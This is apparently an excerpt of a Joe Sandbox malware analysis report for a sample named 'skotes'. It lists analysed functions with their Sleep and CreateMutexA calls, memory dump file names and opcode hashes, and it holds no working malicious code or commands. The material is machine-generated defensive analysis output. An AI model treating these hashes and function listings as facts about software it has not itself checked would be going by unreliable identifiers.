Instruction Fuzzy Hash: DE314C326041009BEB08EB78DDC9B6DB7E1DFD5314F248299E028973D5EB7699808753

Function 00B7A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000001.00000002.1784037637.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000001.00000002.1784021361.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784037637.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784102222.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784119117.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784136899.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784152786.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784168914.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784265340.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784285025.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784306328.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784306328.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784347129.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784365223.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784386380.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784403520.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784421796.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784439262.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784456215.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784476862.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784498438.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784516662.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784534914.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784553811.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784570785.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784590879.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784612286.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784630549.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784648394.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784665638.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784682274.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784700581.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784718923.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784737211.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784756543.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784775321.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784795973.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784813726.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784813726.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784859678.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784876889.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784894901.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784913295.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784930342.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784948173.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784966325.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784985869.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: a929528212ca8d87016b6402618bd7da534a1cf482e14644150d49020c3e5b9a
Instruction ID: c3aa31e46f85471fb7ea0b585793465d528a3878354bb6ebd5e218dd3d06eb59
Opcode Fuzzy Hash: a929528212ca8d87016b6402618bd7da534a1cf482e14644150d49020c3e5b9a
Instruction Fuzzy Hash: F4314A31A041049BEB08EB78DDC9B6DB7E2EBD6714F24C299E4289B3D1DB359981C713

Function 00B7A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000001.00000002.1784037637.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000001.00000002.1784021361.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784037637.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784102222.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784119117.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784136899.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784152786.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784168914.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784265340.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784285025.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784306328.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784306328.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784347129.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784365223.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784386380.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784403520.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784421796.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784439262.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784456215.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784476862.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784498438.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784516662.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784534914.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784553811.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784570785.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784590879.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784612286.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784630549.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784648394.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784665638.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784682274.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784700581.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784718923.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784737211.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784756543.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784775321.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784795973.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784813726.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784813726.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784859678.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784876889.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784894901.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784913295.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784930342.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784948173.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784966325.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784985869.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 0f1dc7346b33707ca52a4067957bea2b7ae42a45018f1f452fc71637060a860a
Instruction ID: 1bf2b826d136714895dbcec049bbec6de8e8de0b990f2233136bf033a0624645
Opcode Fuzzy Hash: 0f1dc7346b33707ca52a4067957bea2b7ae42a45018f1f452fc71637060a860a
Instruction Fuzzy Hash: 093128716042049BEB48DB78DDC9B6DBBE2DBC6314F24C299E1289B3D1DB359980CB53

Function 00B79ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000001.00000002.1784037637.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000001.00000002.1784021361.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784037637.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784102222.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784119117.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784136899.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784152786.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784168914.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784265340.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784285025.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784306328.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784306328.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784347129.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784365223.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784386380.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784403520.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784421796.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784439262.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784456215.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784476862.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784498438.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784516662.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784534914.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784553811.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784570785.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784590879.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784612286.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784630549.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784648394.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784665638.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784682274.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784700581.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784718923.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784737211.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784756543.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784775321.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784795973.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784813726.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784813726.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784859678.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784876889.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784894901.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784913295.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784930342.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784948173.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784966325.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784985869.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 7ced866590e0008268b047bcb4911bdac0c169a7ad65906e23ca0799bd98f5c9
Instruction ID: 504832ebe95752a011e36f94194f43895164b44706f5f20f849be83e628cf3e7
Opcode Fuzzy Hash: 7ced866590e0008268b047bcb4911bdac0c169a7ad65906e23ca0799bd98f5c9
Instruction Fuzzy Hash: 6D212C326042009BEB189B68EDC576DF7E2EBC1310F248299E52C973E5DB759991CB12

Function 00B7A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000001.00000002.1784037637.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000001.00000002.1784021361.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784037637.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784102222.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784119117.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784136899.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784152786.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784168914.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784265340.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784285025.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784306328.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784306328.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784347129.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784365223.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784386380.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784403520.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784421796.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784439262.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784456215.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784476862.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784498438.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784516662.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784534914.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784553811.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784570785.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784590879.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784612286.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784630549.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784648394.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784665638.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784682274.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784700581.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784718923.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784737211.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784756543.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784775321.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784795973.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784813726.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784813726.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784859678.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784876889.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784894901.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784913295.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784930342.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784948173.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784966325.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784985869.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ab9b5462fe9415d927e7bb37df118fee057df5f1415c9e0eb9f5f462065169f0
Instruction ID: 19bd2be68609bd8da17f19e5b02712dc3baf1228ca4723fd8235b84b099d3bb3
Opcode Fuzzy Hash: ab9b5462fe9415d927e7bb37df118fee057df5f1415c9e0eb9f5f462065169f0
Instruction Fuzzy Hash: F2216A7128D201DFEB64A778DC96B2DB7D2DFC1300F2489EAE56C963D1DE7688818253

Function 00B7A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B7A963
CreateMutexA.KERNELBASE(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000001.00000002.1784037637.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000001.00000002.1784021361.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784037637.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784102222.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784119117.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784136899.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784152786.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784168914.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784265340.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784285025.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784306328.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784306328.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784347129.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784365223.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784386380.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784403520.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784421796.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784439262.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784456215.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784476862.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784498438.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784516662.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784534914.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784553811.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784570785.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784590879.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784612286.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784630549.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784648394.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784665638.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784682274.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784700581.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784718923.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784737211.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784756543.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784775321.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784795973.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784813726.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784813726.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784859678.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784876889.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784894901.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784913295.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784930342.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784948173.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784966325.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784985869.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: eda5b0bb00bdfa117b6d3ebd0f31d4b53d75f05ef1ae71850e47a98237729c48
Instruction ID: 76fbf92bdd7e80c85b5d91cc2a77063d7f40568c93d974895ba2e107819b6ab6
Opcode Fuzzy Hash: eda5b0bb00bdfa117b6d3ebd0f31d4b53d75f05ef1ae71850e47a98237729c48
Instruction Fuzzy Hash: 612149326042009BEB18EF68ED8576DF7E2DBD1310F24829AE528977D1DB75A580C753

Function 00BAD82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00BAA813,00000001,00000364,00000006,000000FF,?,00BAEE3F,?,00000004,00000000,?,?), ref: 00BAD870

Memory Dump Source

Source File: 00000001.00000002.1784037637.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000001.00000002.1784021361.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784037637.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1784102222.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
